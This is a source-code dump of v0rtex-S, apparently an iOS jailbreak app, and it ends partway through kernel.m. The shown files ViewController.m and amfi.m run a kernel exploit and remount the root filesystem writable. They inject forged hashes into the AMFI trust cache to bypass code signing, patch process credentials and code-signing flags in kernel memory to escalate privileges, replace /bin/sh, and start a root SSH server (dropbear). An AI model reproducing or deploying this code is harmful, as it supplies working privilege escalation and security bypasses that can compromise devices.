(void)applicationDidEnterBackground:(UIApplication *)application { 31 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 32 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 33 | } 34 | 35 | 36 | - (void)applicationWillEnterForeground:(UIApplication *)application { 37 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 38 | } 39 | 40 | 41 | - (void)applicationDidBecomeActive:(UIApplication *)application { 42 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 43 | } 44 | 45 | 46 | - (void)applicationWillTerminate:(UIApplication *)application { 47 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 48 | } 49 | 50 | 51 | @end 52 | -------------------------------------------------------------------------------- /v0rtex-S/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "iphone", 5 | "size" : "20x20", 6 | "scale" : "2x" 7 | }, 8 | { 9 | "idiom" : "iphone", 10 | "size" : "20x20", 11 | "scale" : "3x" 12 | }, 13 | { 14 | "idiom" : "iphone", 15 | "size" : "29x29", 16 | "scale" : "2x" 17 | }, 18 | { 19 | "idiom" : "iphone", 20 | "size" : "29x29", 21 | "scale" : "3x" 22 | }, 23 | { 24 | "idiom" : "iphone", 25 | "size" : "40x40", 26 | "scale" : "2x" 27 | }, 28 | { 29 | "idiom" : "iphone", 30 | "size" : "40x40", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "size" : "60x60", 35 | "idiom" : "iphone", 36 | "filename" : "iphone@2x.png", 37 | "scale" : "2x" 38 | }, 39 | { 40 | "size" : "60x60", 41 | "idiom" : "iphone", 42 | "filename" : "iphone@3x.png", 43 | "scale" : "3x" 44 | }, 45 | { 46 | "idiom" : "ipad", 47 | "size" : "20x20", 48 | "scale" : "1x" 49 | }, 50 | { 51 | "idiom" : "ipad", 52 | "size" : "20x20", 53 | "scale" : "2x" 54 | }, 55 | { 56 | "idiom" : "ipad", 57 | "size" : "29x29", 58 | "scale" : "1x" 59 | }, 60 | { 61 | "idiom" : "ipad", 62 | "size" : "29x29", 63 | "scale" : "2x" 64 | }, 65 | { 66 | "idiom" : "ipad", 67 | "size" : "40x40", 68 | "scale" : "1x" 69 | }, 70 | { 71 | "idiom" : "ipad", 72 | "size" : "40x40", 73 | "scale" : "2x" 74 | }, 75 | { 76 | "size" : "76x76", 77 | "idiom" : "ipad", 78 | "filename" : "ipad.png", 79 | "scale" : "1x" 80 | }, 81 | { 82 | "size" : "76x76", 83 | "idiom" : "ipad", 84 | "filename" : "ipad@2x.png", 85 | "scale" : "2x" 86 | }, 87 | { 88 | "idiom" : "ipad", 89 | "size" : "83.5x83.5", 90 | "scale" : "2x" 91 | }, 92 | { 93 | "idiom" : "ios-marketing", 94 | "size" : "1024x1024", 95 | "scale" : "1x" 96 | } 97 | ], 98 | "info" : { 99 | "version" : 1, 100 | "author" : "xcode" 101 | } 102 | } -------------------------------------------------------------------------------- /v0rtex-S/Assets.xcassets/AppIcon.appiconset/ipad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/Assets.xcassets/AppIcon.appiconset/ipad.png -------------------------------------------------------------------------------- /v0rtex-S/Assets.xcassets/AppIcon.appiconset/ipad@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/Assets.xcassets/AppIcon.appiconset/ipad@2x.png -------------------------------------------------------------------------------- /v0rtex-S/Assets.xcassets/AppIcon.appiconset/iphone@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/Assets.xcassets/AppIcon.appiconset/iphone@2x.png -------------------------------------------------------------------------------- /v0rtex-S/Assets.xcassets/AppIcon.appiconset/iphone@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/Assets.xcassets/AppIcon.appiconset/iphone@3x.png -------------------------------------------------------------------------------- /v0rtex-S/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 31 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /v0rtex-S/Base.lproj/Main.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 31 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /v0rtex-S/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleDisplayName 8 | v0rtex-S 9 | CFBundleExecutable 10 | $(EXECUTABLE_NAME) 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleVersion 22 | 1 23 | LSRequiresIPhoneOS 24 | 25 | UILaunchStoryboardName 26 | LaunchScreen 27 | UIMainStoryboardFile 28 | Main 29 | UIRequiredDeviceCapabilities 30 | 31 | armv7 32 | 33 | UISupportedInterfaceOrientations 34 | 35 | UIInterfaceOrientationPortrait 36 | 37 | UISupportedInterfaceOrientations~ipad 38 | 39 | UIInterfaceOrientationPortrait 40 | UIInterfaceOrientationPortraitUpsideDown 41 | UIInterfaceOrientationLandscapeLeft 42 | UIInterfaceOrientationLandscapeRight 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /v0rtex-S/ViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.h 3 | // v0rtex 4 | // 5 | // Created by Sticktron on 2017-12-07. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface ViewController : UIViewController 12 | @end 13 | 14 | -------------------------------------------------------------------------------- /v0rtex-S/ViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.m 3 | // v0rtex 4 | // 5 | // Created by Sticktron on 2017-12-07. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #import "ViewController.h" 10 | 11 | #include "v0rtex.h" 12 | #include "kernel.h" 13 | #include "symbols.h" 14 | #include "root-rw.h" 15 | #include "libjb.h" 16 | #include "patchfinder64.h" 17 | #include "v0rtex.h" 18 | #include "amfi.h" 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | @interface ViewController () 26 | @property (weak, nonatomic) IBOutlet UITextView *outputView; 27 | @property (weak, nonatomic) IBOutlet UIButton *sploitButton; 28 | @end 29 | 30 | @implementation ViewController 31 | 32 | task_t tfp0; 33 | kptr_t kslide; 34 | kptr_t kern_ucred; 35 | kptr_t self_proc; 36 | 37 | - (void)viewDidLoad { 38 | [super viewDidLoad]; 39 | 40 | self.sploitButton.layer.cornerRadius = 6; 41 | self.outputView.layer.cornerRadius = 6; 42 | 43 | // Log current device and version info 44 | NSString *ver = [[NSProcessInfo processInfo] operatingSystemVersionString]; 45 | struct utsname u; 46 | uname(&u); 47 | 48 | [self writeText:[NSString stringWithFormat:@"found %s on iOS %@", u.machine, ver]]; 49 | 50 | // Attempt to init our offsets 51 | // Disable the run button if no offsets were found 52 | if (!init_symbols()) { 53 | [self writeText:@"Device not supported."]; 54 | [self.sploitButton setHidden:TRUE]; 55 | return; 56 | } 57 | 58 | [self writeText:@"> ready."]; 59 | } 60 | 61 | - (IBAction)runSploitButton:(UIButton *)sender { 62 | 63 | // Run v0rtex 64 | 65 | [self writeText:@"> running exploit..."]; 66 | 67 | tfp0 = MACH_PORT_NULL; 68 | kslide = 0; 69 | kern_ucred = 0; 70 | self_proc = 0; 71 | 72 | kern_return_t ret = v0rtex(&tfp0, &kslide, &kern_ucred, &self_proc); 73 | 74 | if (ret != KERN_SUCCESS) { 75 | [self writeText:@"ERROR: exploit failed"]; 76 | return; 77 | } 78 | 79 | [self writeText:@"exploit succeeded!"]; 80 | 81 | printf("got val for self_proc = 0x%llx \n", self_proc); 82 | printf("got val for kern_ucred = 0x%llx \n", kern_ucred); 83 | 84 | { 85 | // set up stuff 86 | init_patchfinder(tfp0, kslide + 0xFFFFFFF007004000, NULL); 87 | init_amfi(tfp0); 88 | init_kernel(tfp0); 89 | } 90 | 91 | { 92 | // Remount '/' as r/w 93 | int remount = mount_root(tfp0, kslide); 94 | LOG("remount: %d", remount); 95 | if (remount != 0) { 96 | [self writeText:[NSString stringWithFormat:@"ERROR: failed to remount '/' as r/w (%d)", remount]]; 97 | return; 98 | } 99 | [self writeText:@"remounted '/' as r/w"]; 100 | } 101 | 102 | { 103 | // Check we have '/' access 104 | bool rootAccess = can_write_root(); 105 | [self writeText:[NSString stringWithFormat:@"can write to root: %@", rootAccess ? @"yes" : @"no"]]; 106 | LOG("has root access: %s", rootAccess ? "yes" : "no"); 107 | } 108 | 109 | { 110 | // create v0rtex dirs 111 | mkdir("/v0rtex", 0777); 112 | mkdir("/v0rtex/bins", 0777); 113 | mkdir("/v0rtex/logs", 0777); 114 | 115 | } 116 | 117 | // init filemanager n bundlepath 118 | NSFileManager *fileMgr = [NSFileManager defaultManager]; 119 | NSString *bundlePath = [NSString stringWithFormat:@"%s", bundle_path()]; 120 | 121 | { 122 | // remove old files 123 | NSLog(@"removing old files..."); 124 | [fileMgr removeItemAtPath:@"/v0rtex/bins" error:nil]; 125 | [fileMgr removeItemAtPath:@"/v0rtex/bootstrap.tar" error:nil]; 126 | [fileMgr removeItemAtPath:@"/v0rtex/bootstrap2.tar" error:nil]; 127 | [fileMgr removeItemAtPath:@"/v0rtex/dropbear" error:nil]; 128 | [fileMgr removeItemAtPath:@"/v0rtex/start.sh" error:nil]; 129 | [fileMgr removeItemAtPath:@"/v0rtex/tar" error:nil]; 130 | [fileMgr removeItemAtPath:@"/bin/sh" error:nil]; 131 | 132 | // copy in all our bins 133 | NSLog(@"copying bins..."); 134 | [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/bootstrap.tar"] 135 | toPath:@"/v0rtex/bootstrap.tar" error: nil]; 136 | [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/dropbear"] 137 | toPath:@"/v0rtex/dropbear" error:nil]; 138 | [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/tar"] 139 | toPath:@"/v0rtex/tar" error:nil]; 140 | [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/bash"] 141 | toPath:@"/bin/sh" error:nil]; 142 | 143 | // make sure all our bins have perms 144 | chmod("/v0rtex/dropbear", 0777); 145 | chmod("/v0rtex/tar", 0777); 146 | chmod("/bin/sh", 0777); 147 | 148 | // create dir's and files for dropbear 149 | mkdir("/etc", 0777); 150 | mkdir("/etc/dropbear", 0777); 151 | mkdir("/var", 0777); 152 | mkdir("/var/log", 0777); 153 | FILE *lastLog = fopen("/var/log/lastlog", "ab+"); 154 | fclose(lastLog); 155 | 156 | [self writeText:@"copied bins and set up envrionment"]; 157 | } 158 | 159 | { 160 | // fuck up amfi 161 | inject_trust("/bin/sh"); 162 | inject_trust("/v0rtex/dropbear"); 163 | inject_trust("/v0rtex/tar"); 164 | } 165 | 166 | { 167 | // extract bootstrap.tar 168 | execprog(0, "/v0rtex/tar", (const char **)&(const char*[]){ "/v0rtex/tar", "-xf", "/v0rtex/bootstrap.tar", "-C", "/v0rtex", NULL }); 169 | 170 | // sign all the binaries 171 | trust_files("/v0rtex/bins"); 172 | 173 | [self writeText:@"extracted and signed all bins"]; 174 | } 175 | 176 | { 177 | // create .profile files 178 | if (![fileMgr fileExistsAtPath:@"/var/mobile/.profile"]) 179 | { 180 | [fileMgr createFileAtPath:@"/var/mobile/.profile" contents:[[NSString stringWithFormat:@"export PATH=$PATH:/v0rtex/bins"] dataUsingEncoding:NSASCIIStringEncoding] attributes:nil]; 181 | } 182 | if (![fileMgr fileExistsAtPath:@"/var/root/.profile"]) 183 | { 184 | [fileMgr createFileAtPath:@"/var/root/.profile" contents:[[NSString stringWithFormat:@"export PATH=$PATH:/v0rtex/bins"] dataUsingEncoding:NSASCIIStringEncoding] attributes:nil]; 185 | } 186 | 187 | // Launch dropbear 188 | execprog(kern_ucred, "/v0rtex/dropbear", (const char**)&(const char*[]){ 189 | "/v0rtex/dropbear", "-R", "-E", "-m", "-S", "/", NULL 190 | }); 191 | [self writeText:@"dropbear launched"]; 192 | } 193 | 194 | // Done. 195 | [self writeText:@"\n done."]; 196 | } 197 | 198 | - (void)writeText:(NSString *)text { 199 | self.outputView.text = [self.outputView.text stringByAppendingString:[text stringByAppendingString:@"\n"]]; 200 | } 201 | 202 | // creds to stek on this one 203 | int execprog(uint64_t kern_ucred, const char *prog, const char* args[]) { 204 | if (args == NULL) { 205 | args = (const char **)&(const char*[]){ prog, NULL }; 206 | } 207 | 208 | const char *logfile = [NSString stringWithFormat:@"/v0rtex/logs/%@-%lu", 209 | [[NSMutableString stringWithUTF8String:prog] stringByReplacingOccurrencesOfString:@"/" withString:@"_"], 210 | time(NULL)].UTF8String; 211 | printf("Spawning [ "); 212 | for (const char **arg = args; *arg != NULL; ++arg) { 213 | printf("'%s' ", *arg); 214 | } 215 | printf("] to logfile [ %s ] \n", logfile); 216 | 217 | int rv; 218 | posix_spawn_file_actions_t child_fd_actions; 219 | if ((rv = posix_spawn_file_actions_init (&child_fd_actions))) { 220 | perror ("posix_spawn_file_actions_init"); 221 | return rv; 222 | } 223 | if ((rv = posix_spawn_file_actions_addopen (&child_fd_actions, STDOUT_FILENO, logfile, 224 | O_WRONLY | O_CREAT | O_TRUNC, 0666))) { 225 | perror ("posix_spawn_file_actions_addopen"); 226 | return rv; 227 | } 228 | if ((rv = posix_spawn_file_actions_adddup2 (&child_fd_actions, STDOUT_FILENO, STDERR_FILENO))) { 229 | perror ("posix_spawn_file_actions_adddup2"); 230 | return rv; 231 | } 232 | 233 | pid_t pd; 234 | if ((rv = posix_spawn(&pd, prog, &child_fd_actions, NULL, (char**)args, NULL))) { 235 | printf("posix_spawn error: %d (%s)\n", rv, strerror(rv)); 236 | return rv; 237 | } 238 | 239 | printf("process spawned with pid %d \n", pd); 240 | 241 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 242 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 243 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 244 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 245 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 246 | 247 | /* 248 | 1. read 8 bytes from proc+0x100 into self_ucred 249 | 2. read 8 bytes from kern_ucred + 0x78 and write them to self_ucred + 0x78 250 | 3. write 12 zeros to self_ucred + 0x18 251 | */ 252 | 253 | // find_allproc will crash, currently 254 | // please fix 255 | if (kern_ucred != 0) { 256 | int tries = 3; 257 | while (tries-- > 0) { 258 | sleep(1); 259 | uint64_t proc = rk64(kslide + 0xFFFFFFF0075E66F0); 260 | while (proc) { 261 | uint32_t pid = rk32(proc + 0x10); 262 | if (pid == pd) { 263 | uint32_t csflags = rk32(proc + 0x2a8); 264 | csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD); 265 | wk32(proc + 0x2a8, csflags); 266 | tries = 0; 267 | 268 | // i don't think this bit is implemented properly 269 | uint64_t self_ucred = rk64(proc + 0x100); 270 | uint32_t selfcred_temp = rk32(kern_ucred + 0x78); 271 | wk32(self_ucred + 0x78, selfcred_temp); 272 | 273 | for (int i = 0; i < 12; i++) { 274 | wk32(self_ucred + 0x18 + (i * sizeof(uint32_t)), 0); 275 | } 276 | 277 | printf("gave elevated perms to pid %d \n", pid); 278 | 279 | // original stuff, rewritten above using v0rtex stuff 280 | // kcall(find_copyout(), 3, proc+0x100, &self_ucred, sizeof(self_ucred)); 281 | // kcall(find_bcopy(), 3, kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t)); 282 | // kcall(find_bzero(), 2, self_ucred + 0x18, 12); 283 | break; 284 | } 285 | proc = rk64(proc); 286 | } 287 | } 288 | } 289 | 290 | int status; 291 | waitpid(pd, &status, 0); 292 | printf("'%s' exited with %d (sig %d)\n", prog, WEXITSTATUS(status), WTERMSIG(status)); 293 | 294 | char buf[65] = {0}; 295 | int fd = open(logfile, O_RDONLY); 296 | if (fd == -1) { 297 | perror("open logfile"); 298 | return 1; 299 | } 300 | 301 | printf("contents of %s: \n ------------------------- \n", logfile); 302 | while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) { 303 | printf("%s", buf); 304 | } 305 | printf("%s", buf); 306 | printf("\n-------------------------\n"); 307 | 308 | close(fd); 309 | remove(logfile); 310 | 311 | return 0; 312 | } 313 | 314 | int execprog_clean(uint64_t kern_ucred, const char *prog, const char* args[]) { 315 | if (args == NULL) { 316 | args = (const char **)&(const char*[]){ prog, NULL }; 317 | } 318 | 319 | int rv; 320 | pid_t pd; 321 | if ((rv = posix_spawn(&pd, prog, NULL, NULL, (char**)args, NULL))) { 322 | printf("posix_spawn error: %d (%s)\n", rv, strerror(rv)); 323 | return rv; 324 | } 325 | 326 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 327 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 328 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 329 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 330 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 331 | 332 | /* 333 | 1. read 8 bytes from proc+0x100 into self_ucred 334 | 2. read 8 bytes from kern_ucred + 0x78 and write them to self_ucred + 0x78 335 | 3. write 12 zeros to self_ucred + 0x18 336 | */ 337 | 338 | if (kern_ucred != 0) { 339 | int tries = 3; 340 | while (tries-- > 0) { 341 | sleep(1); 342 | // this needs to be moved to an offset VVVVVVVVVVVVV 343 | uint64_t proc = rk64(kslide + 0xFFFFFFF0075E66F0); 344 | while (proc) { 345 | uint32_t pid = rk32(proc + 0x10); 346 | if (pid == pd) { 347 | uint32_t csflags = rk32(proc + 0x2a8); 348 | csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD); 349 | wk32(proc + 0x2a8, csflags); 350 | tries = 0; 351 | 352 | // i don't think this bit is implemented properly 353 | uint64_t self_ucred = rk64(proc + 0x100); 354 | uint32_t selfcred_temp = rk32(kern_ucred + 0x78); 355 | wk32(self_ucred + 0x78, selfcred_temp); 356 | 357 | for (int i = 0; i < 12; i++) { 358 | wk32(self_ucred + 0x18 + (i * sizeof(uint32_t)), 0); 359 | } 360 | 361 | // original stuff, rewritten above using v0rtex stuff 362 | // kcall(find_copyout(), 3, proc+0x100, &self_ucred, sizeof(self_ucred)); 363 | // kcall(find_bcopy(), 3, kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t)); 364 | // kcall(find_bzero(), 2, self_ucred + 0x18, 12); 365 | break; 366 | } 367 | proc = rk64(proc); 368 | } 369 | } 370 | } 371 | 372 | int status; 373 | waitpid(pd, &status, 0); 374 | return status; 375 | } 376 | 377 | void read_file(const char *path) { 378 | char buf[65] = {0}; 379 | int fd = open(path, O_RDONLY); 380 | if (fd == -1) { 381 | perror("open path"); 382 | return; 383 | } 384 | 385 | printf("contents of %s: \n ------------------------- \n", path); 386 | while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) { 387 | printf("%s", buf); 388 | } 389 | printf("%s", buf); 390 | printf("\n-------------------------\n"); 391 | 392 | close(fd); 393 | } 394 | 395 | bool can_write_root() { 396 | FILE *f = fopen("/file123.txt", "w"); 397 | return f != 0; 398 | } 399 | 400 | char* bundle_path() { 401 | CFBundleRef mainBundle = CFBundleGetMainBundle(); 402 | CFURLRef resourcesURL = CFBundleCopyResourcesDirectoryURL(mainBundle); 403 | int len = 4096; 404 | char* path = malloc(len); 405 | 406 | CFURLGetFileSystemRepresentation(resourcesURL, TRUE, (UInt8*)path, len); 407 | 408 | return path; 409 | } 410 | 411 | @end 412 | -------------------------------------------------------------------------------- /v0rtex-S/amfi.h: -------------------------------------------------------------------------------- 1 | // 2 | // amfi.h 3 | // v0rtex-s 4 | // 5 | // Created by Ben on 19/12/2017. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | 10 | 11 | void init_amfi(task_t task_for_port0); 12 | void trust_files(const char *path); 13 | void inject_trust(const char *path); 14 | 15 | uint8_t *getCodeDirectory(const char* name); 16 | uint8_t *getSHA256(uint8_t* code_dir); 17 | uint32_t swap_uint32(uint32_t val); 18 | -------------------------------------------------------------------------------- /v0rtex-S/amfi.m: -------------------------------------------------------------------------------- 1 | // 2 | // amfi.m 3 | // v0rtex 4 | // 5 | // Created by Ben on 19/12/2017. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #import "patchfinder64.h" 10 | #import "libjb.h" 11 | #import "kernel.h" 12 | #import "amfi.h" 13 | #import 14 | #import 15 | #import 16 | 17 | task_t tfp0; 18 | uint64_t trust_cache; 19 | uint64_t amficache; 20 | 21 | void init_amfi(task_t task_for_port0) { 22 | tfp0 = task_for_port0; 23 | trust_cache = find_trustcache(); 24 | amficache = find_amficache(); 25 | 26 | term_kernel(); 27 | 28 | printf("trust_cache = 0x%llx \n", trust_cache); 29 | printf("amficache = 0x%llx \n", amficache); 30 | } 31 | 32 | // creds to xerub for grab_hashes (and ty for libjb update!) 33 | void trust_files(const char *path) { 34 | struct trust_mem mem; 35 | mem.next = rk64(trust_cache); 36 | *(uint64_t *)&mem.uuid[0] = 0xabadbabeabadbabe; 37 | *(uint64_t *)&mem.uuid[8] = 0xabadbabeabadbabe; 38 | 39 | grab_hashes(path, tfp0_kread, amficache, mem.next); 40 | 41 | size_t length = (sizeof(mem) + numhash * 20 + 0xFFFF) & ~0xFFFF; 42 | 43 | uint64_t kernel_trust; 44 | mach_vm_allocate(tfp0, (mach_vm_address_t *)&kernel_trust, length, VM_FLAGS_ANYWHERE); 45 | 46 | mem.count = numhash; 47 | kwrite(kernel_trust, &mem, sizeof(mem)); 48 | kwrite(kernel_trust + sizeof(mem), allhash, numhash * 20); 49 | kwrite_uint64(trust_cache, kernel_trust); 50 | 51 | free(allhash); 52 | free(allkern); 53 | free(amfitab); 54 | 55 | printf("[amfi] get fucked @ %s (%d files) \n", path, numhash); 56 | } 57 | 58 | // creds to stek29(?) 59 | void inject_trust(const char *path) { 60 | typedef char hash_t[20]; 61 | 62 | struct trust_chain { 63 | uint64_t next; 64 | unsigned char uuid[16]; 65 | unsigned int count; 66 | hash_t hash[1]; 67 | }; 68 | 69 | struct trust_chain fake_chain; 70 | 71 | fake_chain.next = rk64(trust_cache); 72 | *(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe; 73 | *(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe; 74 | fake_chain.count = 1; 75 | 76 | uint8_t *codeDir = getCodeDirectory(path); 77 | if (codeDir == NULL) { 78 | printf("[amfi] was given null code dir for %s ! \n", path); 79 | return; 80 | } 81 | 82 | uint8_t *hash = getSHA256(codeDir); 83 | memmove(fake_chain.hash[0], hash, 20); 84 | 85 | free(hash); 86 | 87 | uint64_t kernel_trust = 0; 88 | mach_vm_allocate(tfp0, &kernel_trust, sizeof(fake_chain), VM_FLAGS_ANYWHERE); 89 | 90 | kwrite(kernel_trust, &fake_chain, sizeof(fake_chain)); 91 | wk64(trust_cache, kernel_trust); 92 | 93 | printf("[amfi] signed %s \n", path); 94 | } 95 | 96 | // creds to nullpixel 97 | uint8_t *getCodeDirectory(const char* name) { 98 | FILE* fd = fopen(name, "r"); 99 | 100 | struct mach_header_64 mh; 101 | fread(&mh, sizeof(struct mach_header_64), 1, fd); 102 | 103 | long off = sizeof(struct mach_header_64); 104 | for (int i = 0; i < mh.ncmds; i++) { 105 | const struct load_command cmd; 106 | fseek(fd, off, SEEK_SET); 107 | fread(&cmd, sizeof(struct load_command), 1, fd); 108 | if (cmd.cmd == 0x1d) { 109 | uint32_t off_cs; 110 | fread(&off_cs, sizeof(uint32_t), 1, fd); 111 | uint32_t size_cs; 112 | fread(&size_cs, sizeof(uint32_t), 1, fd); 113 | 114 | uint8_t *cd = malloc(size_cs); 115 | fseek(fd, off_cs, SEEK_SET); 116 | fread(cd, size_cs, 1, fd); 117 | 118 | return cd; 119 | } else { 120 | off += cmd.cmdsize; 121 | } 122 | } 123 | 124 | return NULL; 125 | } 126 | 127 | // creds to nullpixel 128 | uint8_t *getSHA256(uint8_t* code_dir) { 129 | uint8_t *out = malloc(CC_SHA256_DIGEST_LENGTH); 130 | 131 | uint32_t* code_dir_int = (uint32_t*)code_dir; 132 | 133 | uint32_t realsize = 0; 134 | for (int j = 0; j < 10; j++) { 135 | if (swap_uint32(code_dir_int[j]) == 0xfade0c02) { 136 | realsize = swap_uint32(code_dir_int[j+1]); 137 | code_dir += 4*j; 138 | } 139 | } 140 | 141 | CC_SHA256(code_dir, realsize, out); 142 | 143 | return out; 144 | } 145 | 146 | uint32_t swap_uint32(uint32_t val) { 147 | val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF); 148 | return (val << 16) | (val >> 16); 149 | } 150 | -------------------------------------------------------------------------------- /v0rtex-S/bash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/bash -------------------------------------------------------------------------------- /v0rtex-S/bootstrap-orig.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/bootstrap-orig.tar -------------------------------------------------------------------------------- /v0rtex-S/bootstrap.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/bootstrap.tar -------------------------------------------------------------------------------- /v0rtex-S/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | #include // uint*_t 5 | #include 6 | 7 | #define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0) 8 | 9 | #ifdef __LP64__ 10 | # define ADDR "0x%016llx" 11 | typedef uint64_t kptr_t; 12 | #else 13 | # define ADDR "0x%08x" 14 | typedef uint32_t kptr_t; 15 | #endif 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /v0rtex-S/dropbear: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/dropbear -------------------------------------------------------------------------------- /v0rtex-S/dropbear.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Label 6 | ShaiHulud 7 | Program 8 | /v0rtex/dropbear 9 | ProgramArguments 10 | 11 | /v0rtex/dropbear 12 | -R 13 | -E 14 | -m 15 | -F 16 | 17 | RunAtLoad 18 | 19 | KeepAlive 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /v0rtex-S/kernel.h: -------------------------------------------------------------------------------- 1 | // 2 | // kernel.h 3 | // v0rtex-s 4 | // 5 | // Created by Ben on 16/12/2017. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #include 10 | 11 | void init_kernel(task_t tfp0); 12 | size_t tfp0_kread(uint64_t where, void *p, size_t size); 13 | uint64_t rk64(uint64_t kaddr); 14 | uint32_t rk32(uint64_t kaddr); 15 | void wk64(uint64_t kaddr, uint64_t val); 16 | void wk32(uint64_t kaddr, uint32_t val); 17 | size_t kwrite(uint64_t where, const void *p, size_t size); 18 | size_t kwrite_uint64(uint64_t where, uint64_t value); 19 | 20 | kern_return_t mach_vm_write(vm_map_t target_task, 21 | mach_vm_address_t address, 22 | vm_offset_t data, 23 | mach_msg_type_number_t dataCnt); 24 | 25 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, 26 | mach_vm_address_t address, 27 | mach_vm_size_t size, 28 | mach_vm_address_t data, 29 | mach_vm_size_t *outsize); 30 | 31 | kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int); 32 | -------------------------------------------------------------------------------- /v0rtex-S/kernel.m: -------------------------------------------------------------------------------- 1 | // 2 | // kernel.m 3 | // v0rtex 4 | // 5 | // Created by Ben on 16/12/2017. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #include "kernel.h" 10 | #include "common.h" 11 